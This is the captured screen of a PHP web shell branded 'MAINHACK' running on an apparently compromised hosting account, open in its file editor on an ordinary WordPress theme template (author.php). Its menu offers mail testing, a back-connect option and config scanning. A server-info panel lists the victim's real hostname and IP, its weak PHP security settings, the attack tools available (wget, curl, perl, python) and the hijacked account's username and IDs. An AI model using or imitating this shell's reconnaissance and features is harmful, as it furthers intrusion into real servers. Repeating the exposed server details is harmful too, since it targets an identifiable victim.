[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: author.php
<?php get_header(); $part_cur_auth_obj = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author')); ?> <div class="td-main-content-wrap td-container-wrap"> <div class="td-container"> <div class="td-crumb-container"> <?php echo tagdiv_page_generator::get_breadcrumbs(array( 'template' => 'author', 'author' => $part_cur_auth_obj, )); ?> </div> <div class="td-pb-row"> <div class="td-pb-span8 td-main-content"> <div class="td-ss-main-content"> <div class="td-page-header"> <h1 class="entry-title td-page-title"> <span><?php the_author() ?></span> </h1> </div> <div class="author-box-wrap td-author-page"> <?php echo get_avatar($part_cur_auth_obj->user_email, '96'); ?> <div class="desc"> <div class="td-author-counters"> <span class="td-author-post-count"> <?php echo count_user_posts($part_cur_auth_obj->ID). ' ' . esc_html__('POSTS', 'newspaper');?> </span> <span class="td-author-comments-count"> <?php $comment_count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) AS total FROM $wpdb->comments WHERE comment_approved = 1 AND user_id = %d", $part_cur_auth_obj->ID)); echo esc_html( $comment_count ) . ' ' . esc_html__('COMMENTS', 'newspaper'); ?> </span> </div> <?php if (!empty($part_cur_auth_obj->user_url)) { echo '<div class="td-author-url"><a href="' . esc_url($part_cur_auth_obj->user_url) . '">' . esc_url($part_cur_auth_obj->user_url) . '</a></div>'; } echo get_the_author_meta('description', $part_cur_auth_obj->ID); ?> </div> <div class="clearfix"></div> </div> <?php get_template_part('loop-archive'); ?> </div> </div> <div class="td-pb-span4 td-main-sidebar"> <div class="td-ss-main-sidebar"> <?php dynamic_sidebar( 'td-default' ) ?> </div> </div> </div> </div> </div> <?php get_footer(); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.33 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: 4522